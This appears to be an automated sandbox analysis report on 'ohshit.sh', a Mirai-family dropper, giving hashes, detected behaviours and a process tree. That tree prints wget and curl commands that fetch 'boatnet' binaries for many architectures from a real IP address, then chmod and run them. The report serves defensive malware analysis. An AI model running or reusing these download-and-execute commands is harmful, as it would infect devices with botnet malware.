Analysis
-
max time kernel
149s -
max time network
138s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240729-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
26-12-2024 12:42
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240729-en
General
-
Target
ohshit.sh
-
Size
2KB
-
MD5
6aff3f3662291b471ab7ad4cbdd57c29
-
SHA1
04c570fcebd808ce12793fc191ee5cd886bbcc73
-
SHA256
51a77320da977deac7fb703c6333820bae779ad712f3216fe4d407500d889a8d
-
SHA512
d08ebda17bc94d8c89fcbb16f42c4be409ec96222e0c49b5a69b044b2e725a63caf03d803a225b76c764d86bba42a5b303bff539a90092e432aa861a7d6f4cc4
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 750 chmod 756 chmod 779 chmod 802 chmod 820 chmod 825 chmod 842 chmod 884 chmod 905 chmod 872 chmod 878 chmod 911 chmod 866 chmod 890 chmod 899 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/WTF 751 WTF /tmp/WTF 757 WTF /tmp/WTF 781 WTF /tmp/WTF 804 WTF /tmp/WTF 821 WTF /tmp/WTF 826 WTF /tmp/WTF 843 WTF /tmp/WTF 867 WTF /tmp/WTF 873 WTF /tmp/WTF 879 WTF /tmp/WTF 885 WTF /tmp/WTF 891 WTF /tmp/WTF 900 WTF /tmp/WTF 906 WTF /tmp/WTF 912 WTF -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF -
Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF -
resource yara_rule behavioral3/files/fstream-1.dat upx behavioral3/files/fstream-4.dat upx -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/887/cmdline WTF File opened for reading /proc/712/cmdline WTF File opened for reading /proc/718/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/817/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/888/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/496/cmdline WTF File opened for reading /proc/673/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/823/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/870/cmdline WTF File opened for reading /proc/875/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/696/cmdline WTF File opened for reading /proc/716/cmdline WTF File opened for reading /proc/806/cmdline WTF File opened for reading /proc/812/cmdline WTF File opened for reading /proc/821/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/909/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/711/cmdline WTF File opened for reading /proc/717/cmdline WTF File opened for reading /proc/792/cmdline WTF File opened for reading /proc/671/cmdline WTF File opened for reading /proc/815/cmdline WTF File opened for reading /proc/828/cmdline WTF File opened for reading /proc/798/cmdline WTF File opened for reading /proc/799/cmdline WTF File opened for reading /proc/897/cmdline WTF File opened for reading /proc/902/cmdline WTF File opened for reading /proc/682/cmdline WTF File opened for reading /proc/720/cmdline WTF File opened for reading /proc/726/cmdline WTF File opened for reading /proc/760/cmdline WTF File opened for reading /proc/903/cmdline WTF File opened for reading /proc/846/cmdline WTF File opened for reading /proc/851/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/882/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/668/cmdline WTF File opened for reading /proc/807/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 754 curl 755 cat 753 wget -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/WTF ohshit.sh File opened for modification /tmp/boatnet.i686 curl File opened for modification /tmp/boatnet.arm5 curl File opened for modification /tmp/boatnet.arm6 wget File opened for modification /tmp/boatnet.m68k wget File opened for modification /tmp/boatnet.mpsl curl File opened for modification /tmp/boatnet.arm7 curl File opened for modification /tmp/boatnet.x86 curl File opened for modification /tmp/boatnet.x86_64 curl File opened for modification /tmp/boatnet.arm curl File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/boatnet.arm5 wget File opened for modification /tmp/boatnet.spc curl File opened for modification /tmp/boatnet.mips curl File opened for modification /tmp/boatnet.ppc curl File opened for modification /tmp/boatnet.m68k curl File opened for modification /tmp/boatnet.sh4 curl File opened for modification /tmp/boatnet.arc wget File opened for modification /tmp/boatnet.arc curl File opened for modification /tmp/boatnet.mpsl wget File opened for modification /tmp/boatnet.arm wget File opened for modification /tmp/boatnet.arm6 curl File opened for modification /tmp/boatnet.sh4 wget File opened for modification /tmp/boatnet.mips wget File opened for modification /tmp/boatnet.i468 curl File opened for modification /tmp/boatnet.arm7 wget File opened for modification /tmp/boatnet.ppc wget File opened for modification /tmp/boatnet.spc wget
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:720 -
/usr/bin/wgetwget http://85.237.211.124/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:725
-
-
/usr/bin/curlcurl -O http://85.237.211.124/hiddenbin/boatnet.x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:744
-
-
/bin/catcat boatnet.x862⤵PID:749
-
-
/bin/chmodchmod +x boatnet.x86 ohshit.sh systemd-private-5a8f9893b55c49a5b140033e51eec39b-systemd-timedated.service-UgYiTq WTF2⤵
- File and Directory Permissions Modification
PID:750
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:751
-
-
/usr/bin/wgetwget http://85.237.211.124/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:753
-
-
/usr/bin/curlcurl -O http://85.237.211.124/hiddenbin/boatnet.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:754
-
-
/bin/catcat boatnet.mips2⤵
- System Network Configuration Discovery
PID:755
-
-
/bin/chmodchmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-5a8f9893b55c49a5b140033e51eec39b-systemd-timedated.service-UgYiTq WTF2⤵
- File and Directory Permissions Modification
PID:756
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:757
-
-
/usr/bin/wgetwget http://85.237.211.124/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:761
-
-
/usr/bin/curlcurl -O http://85.237.211.124/hiddenbin/boatnet.arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:762
-
-
/bin/catcat boatnet.arc2⤵PID:777
-
-
/bin/chmodchmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-5a8f9893b55c49a5b140033e51eec39b-systemd-timedated.service-UgYiTq WTF2⤵
- File and Directory Permissions Modification
PID:779
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:781
-
-
/usr/bin/wgetwget http://85.237.211.124/hiddenbin/boatnet.i4682⤵PID:783
-
-
/usr/bin/curlcurl -O http://85.237.211.124/hiddenbin/boatnet.i4682⤵
- Reads runtime system information
- Writes file to tmp directory
PID:792
-
-
/bin/catcat boatnet.i4682⤵PID:801
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-5a8f9893b55c49a5b140033e51eec39b-systemd-timedated.service-UgYiTq WTF2⤵
- File and Directory Permissions Modification
PID:802
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:804
-
-
/usr/bin/wgetwget http://85.237.211.124/hiddenbin/boatnet.i6862⤵PID:807
-
-
/usr/bin/curlcurl -O http://85.237.211.124/hiddenbin/boatnet.i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:817
-
-
/bin/catcat boatnet.i6862⤵PID:819
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-5a8f9893b55c49a5b140033e51eec39b-systemd-timedated.service-UgYiTq WTF2⤵
- File and Directory Permissions Modification
PID:820
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:821
-
-
/usr/bin/wgetwget http://85.237.211.124/hiddenbin/boatnet.x86_642⤵PID:822
-
-
/usr/bin/curlcurl -O http://85.237.211.124/hiddenbin/boatnet.x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:823
-
-
/bin/catcat boatnet.x86_642⤵PID:824
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5a8f9893b55c49a5b140033e51eec39b-systemd-timedated.service-UgYiTq WTF2⤵
- File and Directory Permissions Modification
PID:825
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:826
-
-
/usr/bin/wgetwget http://85.237.211.124/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:827
-
-
/usr/bin/curlcurl -O http://85.237.211.124/hiddenbin/boatnet.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:828
-
-
/bin/catcat boatnet.mpsl2⤵PID:841
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5a8f9893b55c49a5b140033e51eec39b-systemd-timedated.service-UgYiTq WTF2⤵
- File and Directory Permissions Modification
PID:842
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:843
-
-
/usr/bin/wgetwget http://85.237.211.124/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:846
-
-
/usr/bin/curlcurl -O http://85.237.211.124/hiddenbin/boatnet.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:856
-
-
/bin/catcat boatnet.arm2⤵PID:865
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5a8f9893b55c49a5b140033e51eec39b-systemd-timedated.service-UgYiTq WTF2⤵
- File and Directory Permissions Modification
PID:866
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:867
-
-
/usr/bin/wgetwget http://85.237.211.124/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:869
-
-
/usr/bin/curlcurl -O http://85.237.211.124/hiddenbin/boatnet.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:870
-
-
/bin/catcat boatnet.arm52⤵PID:871
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5a8f9893b55c49a5b140033e51eec39b-systemd-timedated.service-UgYiTq WTF2⤵
- File and Directory Permissions Modification
PID:872
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:873
-
-
/usr/bin/wgetwget http://85.237.211.124/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:875
-
-
/usr/bin/curlcurl -O http://85.237.211.124/hiddenbin/boatnet.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:876
-
-
/bin/catcat boatnet.arm62⤵PID:877
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5a8f9893b55c49a5b140033e51eec39b-systemd-timedated.service-UgYiTq WTF2⤵
- File and Directory Permissions Modification
PID:878
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:879
-
-
/usr/bin/wgetwget http://85.237.211.124/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:881
-
-
/usr/bin/curlcurl -O http://85.237.211.124/hiddenbin/boatnet.arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:882
-
-
/bin/catcat boatnet.arm72⤵PID:883
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5a8f9893b55c49a5b140033e51eec39b-systemd-timedated.service-UgYiTq WTF2⤵
- File and Directory Permissions Modification
PID:884
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:885
-
-
/usr/bin/wgetwget http://85.237.211.124/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:887
-
-
/usr/bin/curlcurl -O http://85.237.211.124/hiddenbin/boatnet.ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:888
-
-
/bin/catcat boatnet.ppc2⤵PID:889
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5a8f9893b55c49a5b140033e51eec39b-systemd-timedated.service-UgYiTq WTF2⤵
- File and Directory Permissions Modification
PID:890
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:891
-
-
/usr/bin/wgetwget http://85.237.211.124/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:893
-
-
/usr/bin/curlcurl -O http://85.237.211.124/hiddenbin/boatnet.spc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:897
-
-
/bin/catcat boatnet.spc2⤵PID:898
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:899
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:900
-
-
/usr/bin/wgetwget http://85.237.211.124/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:902
-
-
/usr/bin/curlcurl -O http://85.237.211.124/hiddenbin/boatnet.m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:903
-
-
/bin/catcat boatnet.m68k2⤵PID:904
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:905
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:906
-
-
/usr/bin/wgetwget http://85.237.211.124/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:908
-
-
/usr/bin/curlcurl -O http://85.237.211.124/hiddenbin/boatnet.sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:909
-
-
/bin/catcat boatnet.sh42⤵PID:910
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:911
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:912
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
30KB
MD557d9dd04cc69d14542597b2bcfa56fc1
SHA1bd8fd9f4ea3bed7bd78c369a660c52d1cf275e59
SHA2564c0ab9d6fe4cb26e5de43d07f6092e7848c1a53b9dc2561bbc133a3027e57736
SHA51246bed754083dbaf6e348e9b8a70741bdcefd2d40fba12679edbbd30f552646bee26a499afe13c138e7f6b16fec534986cb685b9da91841d0deca560e83c0d29c
-
Filesize
105KB
MD554cb697151adb7e30ab7d8b7364d9288
SHA16f39ef43d110fdf3b885c2766274a437daefb21c
SHA2567d8a7bb269e8730836b1fba783bf3afe0cf76e2661920ee9295d7f29a5ad1158
SHA512eb2e4337339a7696107d6c31a7f41759c06f0d9c07ffc9a8fba289377d30f0cd7ded8f2c74bc880aab3b4dfa79843a43f6b01a23d05c150d533da21171c7549d
-
Filesize
220B
MD5f1c24d9fa40a047ae22d2d3ae7dfeac9
SHA1750274b02d5f5b00026a4f55b020f4285c693533
SHA256219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc
SHA51236bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259
-
Filesize
220B
MD5a8f502a6fb3b7b940e922c951d9e493a
SHA1fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf
SHA256748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec
SHA512e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338
-
Filesize
71KB
MD50f741e3496febca7050f7fe6e6ac52ba
SHA1414a047b99c5b716e11aad1efb4bdc8ae43c98e5
SHA2561fe3e25acaefe7099dc913b9fb3e63fe020bc10bfeac407288977584712a3dec
SHA512ae0670e090f0ad2acc18a2da14a0c3656ae7e41db0a104f9fb22493f7e8ba24450c9f3f97ef3048c042b8a07b4f144a802591092c2fceee0e120321ed4b3dcd1
-
Filesize
27KB
MD59e6da56f2e4b29e5d019938932a7d02d
SHA12039359cee130eb95673ba1d21a91965a87dc564
SHA256b528a15b83072c5d848eba0700eedf37dbfb35938a29e41c4529bee4e325203a
SHA5122084c8b7057d9fb9dc6587237c3e1a3172ae3cf51774097d587a2e2c6d0168b82d834b0c80d4f8672953df408e3b97dfc391f9aeb2ae263a2f12cbc12e34e382